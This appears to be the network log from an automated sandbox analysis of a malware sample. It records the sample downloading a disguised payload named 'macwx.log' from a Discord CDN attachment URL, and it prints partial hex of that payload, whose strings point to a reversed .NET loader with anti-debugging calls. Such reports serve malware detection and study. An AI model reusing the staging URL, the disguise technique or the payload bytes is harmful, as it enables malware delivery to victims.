Feb 1, 2022 02:06:35.537486076 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.537512064 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.537538052 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.537561893 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.553705931 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.553761959 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.553879976 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.553900003 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.554042101 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.554073095 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.554147005 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.554162979 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.554191113 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.554239035 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.554584026 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.554584026 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.554605961 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.555063009 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.555078983 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.555485010 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.555496931 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.555767059 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.555775881 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.556236029 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.556248903 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.556706905 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.556721926 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.556987047 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.556996107 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.557435036 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.557442904 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.558324099 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.558342934 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.558357954 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.558362961 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.558758020 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.558765888 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.559185028 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.559191942 CET	443	49794	162.159.134.233	192.168.2.6
Feb 1, 2022 02:06:35.559612989 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.559896946 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.560328960 CET	49794	443	192.168.2.6	162.159.134.233
Feb 1, 2022 02:06:35.561831951 CET	49794	443	192.168.2.6	162.159.134.233

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 1, 2022 02:06:34.760256052 CET	55299	53	192.168.2.6	8.8.8.8
Feb 1, 2022 02:06:34.781784058 CET	53	55299	8.8.8.8	192.168.2.6
Feb 1, 2022 02:06:34.854823112 CET	63745	53	192.168.2.6	8.8.8.8
Feb 1, 2022 02:06:34.874133110 CET	53	63745	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 1, 2022 02:06:34.760256052 CET	192.168.2.6	8.8.8.8	0xd7e	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Feb 1, 2022 02:06:34.854823112 CET	192.168.2.6	8.8.8.8	0x8073	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Feb 1, 2022 02:06:34.781784058 CET	8.8.8.8	192.168.2.6	0xd7e	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Feb 1, 2022 02:06:34.781784058 CET	8.8.8.8	192.168.2.6	0xd7e	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Feb 1, 2022 02:06:34.781784058 CET	8.8.8.8	192.168.2.6	0xd7e	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Feb 1, 2022 02:06:34.781784058 CET	8.8.8.8	192.168.2.6	0xd7e	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Feb 1, 2022 02:06:34.781784058 CET	8.8.8.8	192.168.2.6	0xd7e	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Feb 1, 2022 02:06:34.874133110 CET	8.8.8.8	192.168.2.6	0x8073	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Feb 1, 2022 02:06:34.874133110 CET	8.8.8.8	192.168.2.6	0x8073	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Feb 1, 2022 02:06:34.874133110 CET	8.8.8.8	192.168.2.6	0x8073	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Feb 1, 2022 02:06:34.874133110 CET	8.8.8.8	192.168.2.6	0x8073	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Feb 1, 2022 02:06:34.874133110 CET	8.8.8.8	192.168.2.6	0x8073	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49794	162.159.134.233	443	C:\Users\user\Desktop\2lfV6QiE6j.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49793	162.159.129.233	80	C:\Users\user\Desktop\2lfV6QiE6j.exe

Timestamp	kBytes transferred	Direction	Data
Feb 1, 2022 02:06:34.820791006 CET	18026	OUT	GET /attachments/937614907917078588/937618926945329213/macwx.log HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
Feb 1, 2022 02:06:34.841675997 CET	18026	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 01 Feb 2022 01:06:34 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Tue, 01 Feb 2022 02:06:34 GMT Location: https://cdn.discordapp.com/attachments/937614907917078588/937618926945329213/macwx.log X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=511qOwQB3KvTCqwDSrqjSf8ygsH8AdpJzmAP4G5SMWQ6XzpSkarrolQRyqMr0A8m23Qh%2F0HQOR9ExgqCIpUJ2%2BgDfR4mLI4m5XKs5gfbj4JnZf0hs6AgBeljjbWRvr9Z3BEgXg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6d674727ae378ffb-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49794	162.159.134.233	443	C:\Users\user\Desktop\2lfV6QiE6j.exe

Timestamp	kBytes transferred	Direction	Data
2022-02-01 01:06:35 UTC	0	OUT	GET /attachments/937614907917078588/937618926945329213/macwx.log HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2022-02-01 01:06:35 UTC	0	IN	HTTP/1.1 200 OK Date: Tue, 01 Feb 2022 01:06:35 GMT Content-Type: application/octet-stream Content-Length: 573952 Connection: close CF-Ray: 6d67472b7bcc6943-FRA Accept-Ranges: bytes Age: 4748 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=macwx.log ETag: "6b7a430525321a7aa3ffe342b70887d5" Expires: Wed, 01 Feb 2023 01:06:35 GMT Last-Modified: Mon, 31 Jan 2022 08:02:52 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1643616172346699 x-goog-hash: crc32c=LxoP8A== x-goog-hash: md5=a3pDBSUyGnqj/+NCtwiH1Q== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 573952 X-GUploader-UploadID: ADPycdvGFc3UzqQZbKGnhDCscMlL0IRRHlToWYxFVxQTppkqOMnzcB6RebC9gf7xDnqf10DtXc_irYOOEcbwMX3FCbg X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DFxvion3zxHUaI93imF9bBcSxuIwqkDaaUoq%2FmHLZ0mE0qAP5FuLnUJQ%2B90PIDPJKn0t%2BqGifCwKBYrKK5uRxbQ4F%2FXXXBTBcb4c7e1Vy5IJvcs%2FfXU%2FZnJcBhBB4%2B1XRpb5DQ%3D%3D"}],"group":"cf-nel","max_age":604800}
2022-02-01 01:06:35 UTC	1	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2022-02-01 01:06:35 UTC	1	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-02-01 01:06:35 UTC	2	IN	Data Raw: 00 00 02 00 00 00 04 00 00 00 00 00 00 00 3f 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 01 00 00 fe ef 04 bd 00 00 00 00 00 4f 00 46 00 4e 00 49 00 5f 00 4e 00 4f 00 49 00 53 00 52 00 45 00 56 00 5f 00 53 00 56 00 00 00 34 02 fc 00 00 00 00 00 00 00 00 00 00 02 fc 00 08 e0 58 00 00 00 48 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 30 00 00 00 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 18 00 00 00 10 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 20 00 25 ff 00 00 00 00 00 6c 6c 64 2e 65 65 72 6f 63 73 6d 00 6e 69 61 4d 6c 6c 44 72 6f Data Ascii: ?OFNI_NOISREV_SV4XH0@ %lld.eerocsmniaMllDro
2022-02-01 01:06:35 UTC	4	IN	Data Raw: 00 31 00 49 00 23 15 01 00 27 00 4b 00 2f 00 73 00 21 00 58 00 60 00 59 00 49 00 23 15 01 00 27 00 4b 00 2f 00 73 00 21 00 54 00 37 00 57 00 48 00 23 15 01 00 27 00 4b 00 2f 00 73 00 21 00 51 00 70 00 73 00 4a 00 23 15 01 00 27 00 4b 00 2f 00 73 00 21 00 22 00 3f 00 32 00 4b 00 23 15 01 00 27 00 4b 00 2f 00 73 00 21 00 2e 00 5e 00 22 00 48 00 23 15 01 00 27 00 4b 00 2f 00 73 00 21 00 75 00 72 00 34 00 47 00 23 15 01 00 27 00 4b 00 2f 00 73 00 21 00 36 00 46 00 3c 00 46 00 23 15 01 00 27 00 4b 00 2f 00 73 00 21 00 27 00 57 00 4b 00 45 00 23 15 01 00 27 00 4b 00 2f 00 73 00 21 00 2b 00 43 00 40 00 44 00 23 15 01 00 27 00 4b 00 2f 00 73 00 21 00 27 00 4f 00 32 00 42 00 23 15 01 00 27 00 4b 00 2f 00 73 00 21 00 73 00 64 00 6f 00 40 00 23 15 01 00 27 00 4b 00 Data Ascii: 1I#'K/s!X`YI#'K/s!T7WH#'K/s!QpsJ#'K/s!"?2K#'K/s!.^"H#'K/s!ur4G#'K/s!6F<F#'K/s!'WKE#'K/s!+C@D#'K/s!'O2B#'K/s!sdo@#'K
2022-02-01 01:06:35 UTC	5	IN	Data Raw: 12 01 07 05 d5 81 12 0e 01 02 20 07 59 82 12 59 82 12 02 03 07 09 08 08 08 01 b1 81 11 15 03 07 0a 08 01 b1 81 11 15 06 08 05 1d 05 1d 08 05 1d 05 07 0a 0e 49 82 12 01 20 06 6d 83 12 00 00 05 d5 81 12 1c 1d 02 51 83 12 1c 08 02 07 07 0e 0a 08 01 00 04 19 09 01 00 04 02 03 01 00 04 1c 03 01 00 04 08 07 07 08 08 05 07 07 05 05 05 05 05 05 06 07 08 d1 82 12 1d 06 05 d5 82 11 06 04 c1 82 11 06 04 08 1d 01 07 04 09 08 08 08 08 08 1d 08 08 08 08 08 0b 07 0e 08 08 09 09 08 05 07 07 08 0a 08 08 08 05 07 07 08 08 08 08 08 08 08 08 08 08 0a 07 0c 08 2d 12 01 02 20 06 08 08 08 08 08 08 08 08 08 08 1d 0a 07 0d 08 08 08 1d 08 08 05 07 08 0b 0b 09 0b 04 07 06 0b 0b 0b 0b 09 0b 0b 09 0b 08 0b 0b 0b 08 08 08 08 08 0b 0b 14 07 16 09 0b 0b 0b 0b 0b 09 08 08 0b 0b 0b 08 08 Data Ascii: YYI mQ-
2022-02-01 01:06:35 UTC	6	IN	Data Raw: 0a b1 82 11 39 82 12 51 83 12 02 71 11 15 02 07 0f 39 82 12 51 83 12 02 71 11 15 35 82 12 02 59 12 15 11 09 08 01 20 04 51 83 12 1d 51 83 12 1d 02 08 35 82 12 a8 81 12 06 07 12 2d 12 0a 1c 03 07 06 19 08 2c 83 12 03 07 07 0d 02 01 20 04 84 82 12 74 83 12 e0 83 12 0d 08 f0 82 12 f0 82 12 0d a8 83 12 02 0a 07 18 1c 01 54 81 12 15 06 51 83 12 84 82 12 b8 82 12 b0 82 12 1c 51 83 12 b8 82 12 c8 82 12 08 09 07 19 60 11 39 82 12 1c e9 80 12 2c 83 12 51 83 12 39 82 12 f0 82 12 02 f8 81 12 4d 82 12 1c 35 82 12 f8 81 12 2c 83 12 f8 81 12 41 82 12 1d 02 f8 81 12 08 1c 2c 83 12 1d 08 08 1c 1d 2c 83 12 1c 2c 83 12 1c 07 44 c8 80 11 01 07 05 1c 83 11 01 07 05 0a 1c 01 02 20 05 18 02 0d 0a 08 08 2c 83 12 07 07 0b 09 1d 02 08 1d 02 08 1d 82 11 01 02 20 07 04 1d 82 11 01 Data Ascii: 9Qq9Qq5Y QQ5-, tTQQ`9,Q9M5,A,,,D ,
2022-02-01 01:06:35 UTC	8	IN	Data Raw: 07 08 08 b0 82 12 1d 02 07 07 51 83 12 a0 82 12 02 07 08 f9 80 12 1c 1d fd 81 12 01 82 11 1c 04 20 0e f9 80 12 1c 1d fd 81 12 01 82 11 51 83 12 1c 05 00 11 1c 01 07 03 00 1e 01 61 12 15 01 1e 1d 00 1e 1d 01 03 02 10 10 00 1e 00 1e 08 02 71 11 15 02 0a 0b 00 1e 01 d4 80 12 15 07 00 1e 02 00 1e 08 02 71 11 15 07 08 00 1e 08 02 71 11 15 1d 02 07 0b 1c 25 82 12 a8 81 12 02 1c 08 02 59 12 15 25 82 12 06 07 13 19 19 02 02 00 05 09 08 02 2c 83 12 04 07 08 35 82 12 60 82 12 02 07 08 08 b1 82 11 01 20 06 08 ad 82 11 01 20 06 08 b5 82 11 01 20 06 8d 81 11 00 20 05 1c 8d 81 11 08 03 07 07 1c 0e 02 1c 08 02 59 12 15 a8 81 12 0e 06 07 0f 0b 0a 02 07 04 08 0a 0a 0a 08 0a 0a 0a 08 0a 08 08 51 83 12 51 83 12 51 83 12 08 51 83 12 08 12 07 1c 09 08 2c 83 12 03 07 07 5c 11 Data Ascii: Q Qaqqq%Y%,5` YQQQQ,\
2022-02-01 01:06:35 UTC	9	IN	Data Raw: 02 b4 83 12 1c 03 07 07 00 13 02 01 20 05 08 01 79 11 15 05 00 13 01 79 11 15 00 20 08 b4 83 12 08 02 71 11 15 08 01 13 00 20 04 b4 83 12 08 02 5d 11 15 08 01 13 00 13 02 71 11 15 00 20 0a 01 13 00 13 02 5d 11 15 00 20 0a 08 01 75 12 15 05 08 01 79 11 15 b4 83 12 08 02 71 11 15 b4 83 12 08 02 5d 11 15 08 08 01 75 12 15 b4 83 12 08 02 59 12 15 06 07 25 95 80 11 95 80 11 02 02 00 09 01 13 10 00 13 02 02 20 08 95 80 11 08 1c 08 b4 83 12 05 07 0b 75 83 12 08 02 59 12 15 08 b4 83 12 08 02 59 12 15 08 08 1c 02 07 04 05 1d 01 07 04 08 01 07 03 08 08 2d 12 08 2d 12 01 05 00 0a 02 08 08 05 1d 08 05 07 08 00 00 32 32 30 32 20 a9 c2 20 74 68 67 69 72 79 70 6f 43 11 00 01 16 00 00 30 2e 30 2e 30 2e 31 07 00 01 0c 00 00 00 00 01 05 01 73 77 6f 72 68 54 6e 6f 69 74 70 Data Ascii: yy q ]q ] uyq]uY% uYY--2202 thgirypoC0.0.0.1sworhTnoitp
2022-02-01 01:06:35 UTC	10	IN	Data Raw: 83 12 05 1d 01 00 07 0e 10 8c 83 12 05 1d 02 20 09 8c 83 12 02 20 83 12 02 00 09 98 83 12 06 04 9c 83 12 06 04 1c 83 11 1c 83 11 02 02 00 09 1c 83 11 02 01 20 06 05 08 01 02 20 05 08 08 08 02 00 05 08 00 00 03 51 83 12 08 01 00 06 05 1d 01 01 00 05 0a 00 00 03 f8 82 12 06 04 f8 81 12 01 01 20 06 f8 81 12 00 20 05 25 82 12 01 01 20 06 25 82 12 00 20 05 f8 81 12 1c 25 82 12 01 03 20 0a 1c 25 82 12 01 02 20 07 f8 81 12 06 04 25 82 12 06 04 64 83 12 02 01 00 06 e9 80 12 02 01 00 06 64 83 12 00 00 05 cc 82 11 01 01 20 06 cc 82 11 00 20 05 02 05 1d 05 1d 02 20 07 08 05 1d 08 01 03 00 07 08 05 1d 08 02 00 06 08 05 1d 0a 01 03 00 07 05 1d 05 1d 01 02 20 07 e5 82 12 1d 06 05 0e 05 1d 51 81 12 51 81 12 03 00 0b d0 81 12 06 04 0e b9 80 12 01 00 06 07 01 01 20 04 07 Data Ascii: Q % % % % %dd QQ
2022-02-01 01:06:35 UTC	12	IN	Data Raw: 00 07 09 09 09 09 03 00 06 08 05 1d 01 02 20 06 b0 81 12 01 01 20 06 a8 81 12 01 01 20 06 a8 81 12 00 20 05 a8 81 12 06 04 08 12 01 01 20 05 08 12 00 20 04 08 12 06 03 b9 81 12 02 01 00 06 1c 83 11 06 04 08 1d 08 1d 02 02 00 07 51 81 12 01 01 20 06 05 1d 08 05 1d 01 03 00 08 ed 81 12 05 1d 01 00 07 d5 81 12 ed 81 12 01 00 08 02 08 0e 02 00 05 08 0e 01 00 04 0e 08 02 55 12 15 06 07 94 81 11 06 04 98 81 12 06 04 1c 31 12 08 08 08 08 18 fd 80 12 07 20 0d 08 08 08 08 18 08 05 20 08 fd 80 12 08 10 08 10 02 03 20 0a 1c 31 12 08 10 08 08 10 08 18 fd 80 12 07 20 0f 08 10 08 08 10 08 18 02 05 20 0a 18 08 01 20 04 1c 31 12 08 18 fd 80 12 04 20 0a 08 18 08 02 20 05 fd 80 12 08 10 02 02 20 08 1c 31 12 08 10 08 05 1d 08 18 fd 80 12 07 20 0f 08 10 08 05 1d 08 18 02 05 Data Ascii: Q U1 1 1 1
2022-02-01 01:06:35 UTC	13	IN	Data Raw: 13 00 13 01 03 20 09 fd 80 12 07 13 01 20 07 06 13 05 13 04 13 03 13 02 13 01 13 00 13 07 13 07 20 12 fd 80 12 09 13 01 20 07 08 13 07 13 06 13 05 13 04 13 03 13 02 13 01 13 00 13 09 13 09 20 16 03 13 02 13 01 13 00 13 01 04 20 0b fd 80 12 05 13 01 20 07 1c 31 12 04 13 03 13 02 13 01 13 00 13 fd 80 12 07 20 12 04 13 03 13 02 13 01 13 00 13 05 13 05 20 0e 1c 31 12 08 13 07 13 06 13 05 13 04 13 03 13 02 13 01 13 00 13 fd 80 12 0b 20 1a 08 13 07 13 06 13 05 13 04 13 03 13 02 13 01 13 00 13 01 09 20 15 1c 31 12 01 13 00 13 fd 80 12 04 20 0c 01 13 00 13 01 02 20 07 fd 80 12 04 13 01 20 07 1c 31 12 03 13 02 13 01 13 00 13 fd 80 12 06 20 10 03 13 02 13 01 13 00 13 04 13 04 20 0c 1c 31 12 07 13 06 13 05 13 04 13 03 13 02 13 01 13 00 13 fd 80 12 0a 20 18 07 13 06 Data Ascii: 1 1 1 1 1
2022-02-01 01:06:35 UTC	14	IN	Data Raw: 12 1d 06 05 09 01 b1 81 11 15 06 07 2c 83 12 06 04 3d 82 12 06 04 09 06 02 0e 01 01 20 04 0e 00 20 03 02 01 01 20 04 02 00 20 03 0e 06 02 0a 01 01 20 04 0a 00 20 03 05 1d 01 01 20 05 05 1d 00 20 04 0a 06 02 fd 80 12 02 01 20 06 1c 31 12 08 fd 80 12 03 20 09 08 02 01 20 04 18 1c 01 02 20 05 08 08 02 02 20 05 48 12 19 83 12 19 83 12 19 83 12 08 01 05 20 0f 48 12 01 01 20 05 19 83 12 06 04 48 12 06 03 08 08 18 02 00 05 08 18 18 02 00 05 08 02 01 00 04 f0 80 11 01 01 00 06 0b 01 01 20 04 0b 00 20 03 0b 06 02 08 10 51 83 12 51 83 12 02 03 00 0b 02 00 00 03 06 01 01 20 04 06 00 20 03 06 06 02 05 1d 0e 01 00 05 0e 0e 01 00 04 02 08 08 05 1d 01 04 20 08 02 06 02 08 10 08 08 05 1d 08 02 05 20 0a 02 08 08 05 1d 08 01 05 20 09 b4 83 12 b4 83 12 01 02 20 09 b4 83 12 Data Ascii: ,= 1 H H H QQ
2022-02-01 01:06:35 UTC	16	IN	Data Raw: 44 6f 54 00 65 74 79 42 65 74 69 72 57 00 79 61 72 72 41 6f 54 00 73 72 61 68 43 5f 74 65 67 00 79 61 72 72 41 65 7a 69 6c 61 69 74 69 6e 49 00 79 70 6f 43 00 65 6e 6f 6c 43 00 64 49 64 61 65 72 68 54 64 65 67 61 6e 61 4d 5f 74 65 67 00 64 61 65 72 68 54 74 6e 65 72 72 75 43 5f 74 65 67 00 70 65 65 6c 53 00 6e 69 4d 00 73 64 6e 6f 63 65 53 6c 61 74 6f 54 5f 74 65 67 00 64 65 73 70 61 6c 45 5f 74 65 67 00 77 65 4e 74 72 61 74 53 00 67 6e 69 72 74 53 74 65 47 00 65 6d 61 4e 79 72 6f 74 63 65 72 69 44 74 65 47 00 65 74 65 6c 65 44 00 73 65 74 79 42 6c 6c 41 65 74 69 72 57 00 73 74 73 69 78 45 00 68 74 61 50 72 65 64 6c 6f 46 74 65 47 00 79 72 6f 74 63 65 72 69 44 65 74 61 65 72 43 00 68 74 61 50 70 6d 65 54 74 65 47 00 6d 61 65 72 74 53 65 63 72 75 6f 73 65 Data Ascii: DoTetyBetirWyarrAoTsrahC_tegyarrAezilaitinIypoCenolCdIdaerhTdeganaM_tegdaerhTtnerruC_tegpeelSniMsdnoceSlatoT_tegdespalE_tegweNtratSgnirtSteGemaNyrotceriDteGeteleDsetyBllAetirWstsixEhtaPredloFteGyrotceriDetaerChtaPpmeTteGmaertSecruose
2022-02-01 01:06:35 UTC	17	IN	Data Raw: 45 73 61 48 5f 74 65 67 00 74 72 6f 53 00 6e 61 65 6c 6f 6f 42 6f 54 00 65 6c 64 6e 61 48 64 6f 68 74 65 4d 65 76 6c 6f 73 65 52 00 65 6c 64 6e 61 48 64 6c 65 69 46 65 76 6c 6f 73 65 52 00 65 6c 64 6e 61 48 65 70 79 54 65 76 6c 6f 73 65 52 00 65 6c 64 6e 61 48 65 6c 75 64 6f 4d 5f 74 65 67 00 70 6f 50 00 6b 65 65 50 00 67 6e 69 72 74 53 65 76 6c 6f 73 65 52 00 66 4f 73 73 61 6c 63 62 75 53 73 49 00 6c 61 75 74 72 69 56 73 49 5f 74 65 67 00 64 6f 68 74 65 4d 74 65 47 00 72 6f 74 63 75 72 74 73 6e 6f 43 73 73 61 6c 43 6e 75 52 00 65 6c 64 6e 61 48 65 70 79 54 5f 74 65 67 00 65 75 6c 61 56 73 61 48 5f 74 65 67 00 64 6f 68 74 65 4d 63 69 72 65 6e 65 47 65 6b 61 4d 00 72 65 62 6d 65 4d 74 65 47 00 73 64 6c 65 69 46 74 65 47 00 65 6e 69 4c 77 65 4e 5f 74 65 67 Data Ascii: EsaH_tegtroSnaelooBoTeldnaHdohteMevloseReldnaHdleiFevloseReldnaHepyTevloseReldnaHeludoM_tegpoPkeePgnirtSevloseRfOssalcbuSsIlautriVsI_tegdohteMteGrotcurtsnoCssalCnuReldnaHepyT_tegeulaVsaH_tegdohteMcireneGekaMrebmeMteGsdleiFteGeniLweN_teg
2022-02-01 01:06:35 UTC	18	IN	Data Raw: 70 6d 49 74 70 79 72 43 4e 00 74 70 79 72 63 6e 45 74 70 79 72 43 4e 00 74 63 65 6a 62 4f 65 65 72 46 74 70 79 72 43 4e 00 74 6e 65 72 72 75 43 5f 74 65 67 00 74 78 65 4e 65 76 6f 4d 00 78 45 65 6c 69 46 65 76 6f 4d 00 74 6e 65 73 65 72 50 72 65 67 67 75 62 65 44 65 74 6f 6d 65 52 6b 63 65 68 43 00 65 6c 69 46 79 70 6f 43 00 74 63 65 74 6f 72 50 6c 61 75 74 72 69 56 00 73 73 65 72 64 64 41 63 6f 72 50 74 65 47 00 41 79 72 61 72 62 69 4c 64 61 6f 4c 00 65 6d 61 4e 65 73 61 42 65 6c 75 64 6f 4d 74 65 47 00 73 65 6c 75 64 6f 4d 73 73 65 63 6f 72 50 6d 75 6e 45 00 78 45 65 6d 61 4e 65 6c 69 46 65 6c 75 64 6f 4d 74 65 47 00 65 6c 64 6e 61 48 65 73 6f 6c 43 00 73 73 65 63 6f 72 50 6e 65 70 4f 00 73 65 73 73 65 63 6f 72 50 6d 75 6e 45 00 65 67 61 73 73 65 4d 64 Data Ascii: pmItpyrCNtpyrcnEtpyrCNtcejbOeerFtpyrCNtnerruC_tegtxeNevoMxEeliFevoMtneserPreggubeDetomeRkcehCeliFypoCtcetorPlautriVsserddAcorPteGAyrarbiLdaoLemaNesaBeludoMteGseludoMssecorPmunExEemaNeliFeludoMteGeldnaHesolCssecorPnepOsessecorPmunEegasseMd
2022-02-01 01:06:35 UTC	20	IN	Data Raw: 00 80 80 e2 81 80 e2 02 00 80 80 e2 8a 80 e2 06 00 81 80 e2 81 80 e2 0e 00 81 80 e2 80 80 e2 05 00 80 80 e2 8a 80 e2 0f 00 80 80 e2 8b 80 e2 02 00 81 80 e2 83 80 e2 0e 00 81 80 e2 83 80 e2 08 00 80 80 e2 8a 80 e2 03 00 81 80 e2 80 80 e2 0e 00 81 80 e2 83 80 e2 06 00 84 80 e2 03 00 02 88 80 e2 87 80 e2 86 80 e2 0f 00 65 6b 6f 76 6e 49 64 6e 45 00 65 6b 6f 76 6e 49 6e 69 67 65 42 00 65 6b 6f 76 6e 49 00 02 88 80 e2 87 80 e2 80 80 e2 81 80 e2 0e 00 02 88 80 e2 87 80 e2 81 80 e2 0e 00 74 65 73 65 52 00 73 65 74 79 42 74 65 47 00 65 73 6f 70 73 69 44 00 03 88 80 e2 87 80 e2 06 00 02 88 80 e2 87 80 e2 06 00 02 88 80 e2 87 80 e2 02 00 72 6f 74 63 2e 00 30 30 37 62 38 37 63 66 61 32 35 37 39 62 39 39 65 35 61 34 35 